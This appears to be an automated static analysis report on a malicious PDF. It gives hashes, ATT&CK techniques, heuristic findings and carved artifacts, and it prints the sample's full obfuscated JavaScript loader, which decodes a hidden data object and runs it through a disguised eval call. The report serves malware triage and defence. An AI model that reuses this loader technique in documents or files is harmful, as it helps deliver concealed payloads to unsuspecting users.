Malicious PDF — malware analysis report

Static analysis result for SHA-256 37c9356738f5c56f…

MALICIOUS

PDF

5.1 KB First seen: 2026-05-09
MD5: e065cb1659dfe232eead3c7bdd10a40b SHA-1: 3d481b06d43d35c774ddf42bfe58f6810f42c1eb SHA-256: 37c9356738f5c56f301d6945280e2a1abdc95989d90a3ebfce33592f8c0dcc97
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF contains embedded JavaScript, which is a common technique for delivering malicious payloads. The ML classifier strongly indicates maliciousness. The embedded file 'embedded_file_obj0013.bin' is likely the secondary payload. The JavaScript is too obfuscated to determine its exact function, but it is highly probable that it is used to download and execute the embedded file.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x425 108545 bytes
SHA-256: 85ae95d5a824fd9c299499660bc60718cc4001408dcf05917e9248a0e0ebe3f9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
247 of 256 identifiers look randomly generated (e.g. 'nf17Q1B9T0mnI5a01nf17Q1B9T0mnI5a02nf17Q1') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1ED 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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